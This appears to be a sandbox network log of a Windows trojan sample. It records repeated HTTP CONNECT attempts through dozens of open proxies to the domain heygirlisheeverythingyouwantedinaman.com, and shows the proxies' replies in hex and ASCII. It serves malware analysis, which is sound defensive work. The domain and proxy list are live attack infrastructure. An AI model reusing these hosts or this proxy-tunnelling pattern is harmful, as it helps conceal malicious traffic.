Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.000724077 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1611	192.168.2.8	54736	91.121.89.41	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.000916958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:14.157390118 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1612	192.168.2.8	50977	51.222.241.157	46286	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.000965118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.064800024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.162976027 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:51.179132938 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1613	192.168.2.8	51012	51.75.126.150	21803	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.001096964 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1614	192.168.2.8	54747	185.143.234.28	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.001099110 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.165882111 CET	389	IN	HTTP/1.1 400 Bad Request Date: Fri, 23 Feb 2024 13:28:39 GMT Content-Type: text/html Content-Length: 150 Connection: close Server: ArvanCloud Server-Timing: total;dur=0 X-Request-ID: 413579e0fa14ae7d7729ad233518e15c X-SID: 6233 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1615	192.168.2.8	54777	38.46.222.60	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.014956951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1616	192.168.2.8	54423	47.90.126.78	8118	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.014956951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.384149075 CET	132	IN	HTTP/1.1 503 Too many open connections Content-Type: text/plain Connection: close Data Raw: 4d 61 78 69 6d 75 6d 20 6e 75 6d 62 65 72 20 6f 66 20 6f 70 65 6e 20 63 6f 6e 6e 65 63 74 69 6f 6e 73 20 72 65 61 63 68 65 64 2e 0d 0a Data Ascii: Maximum number of open connections reached.
Feb 23, 2024 14:28:43.882531881 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1617	192.168.2.8	54250	47.206.214.4	54321	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.031232119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1618	192.168.2.8	54770	91.134.140.160	5401	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.031383038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.548105955 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.124257088 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1619	192.168.2.8	54790	72.37.217.3	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.036017895 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1620	192.168.2.8	54847	184.170.245.148	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.047013998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1621	192.168.2.8	51025	202.5.16.44	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.047307968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.811347961 CET	303	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Fri, 23 Feb 2024 13:28:39 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1622	192.168.2.8	50920	222.124.29.59	5678	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.048865080 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1623	192.168.2.8	54772	79.110.197.144	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.049060106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1624	192.168.2.8	51019	103.180.194.146	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.056760073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.530591011 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1625	192.168.2.8	54779	185.54.0.18	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.057524920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1626	192.168.2.8	54722	13.234.24.116	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.059030056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.344862938 CET	147	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 13:28:39 GMT Content-Type: text/plain X-Powered-By: PHP/5.4.45 Server: squid/4.14 Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1627	192.168.2.8	54851	51.210.45.148	60359	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.073268890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.548099041 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1628	192.168.2.8	54742	85.172.60.202	1181	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.073736906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1629	192.168.2.8	54831	41.111.187.214	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.073983908 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1630	192.168.2.8	54836	51.83.135.35	2846	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.074956894 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1631	192.168.2.8	54698	47.74.226.8	5001	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.075222015 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1632	192.168.2.8	54456	222.255.238.159	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.135585070 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.494164944 CET	506	IN	HTTP/1.1 302 Found Date: Fri, 23 Feb 2024 13:28:39 GMT Server: Apache/2.4.41 (Ubuntu) Location: https://ktxcomay.com.vn Content-Length: 314 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6b 74 78 63 6f 6d 61 79 2e 63 6f 6d 2e 76 6e 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://ktxcomay.com.vn">here</a>.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1633	192.168.2.8	54325	117.160.250.163	9990	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.136547089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.179409981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.195333958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:51.194818974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:03.194861889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:15.194716930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:27.194711924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1634	192.168.2.8	54704	27.147.24.205	8080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.136570930 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.805382013 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1635	192.168.2.8	54815	143.208.152.61	3180	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.137191057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.695029974 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:40.398433924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:41.757488012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:44.398118019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.038363934 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1636	192.168.2.8	54856	31.43.33.55	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.137415886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1637	192.168.2.8	54761	59.125.232.28	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.216605902 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1638	192.168.2.8	54750	34.64.4.17	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:39.216917992 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:39.617523909 CET	1286	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1561 Date: Fri, 23 Feb 2024 13:28:39 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 69 6f 3a 32 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixel-ratio:2
Feb 23, 2024 14:28:39.617532015 CET	430	IN	Data Raw: 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 Data Ascii: ){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.com/><span

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1639	192.168.2.8	54565	72.195.114.169	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
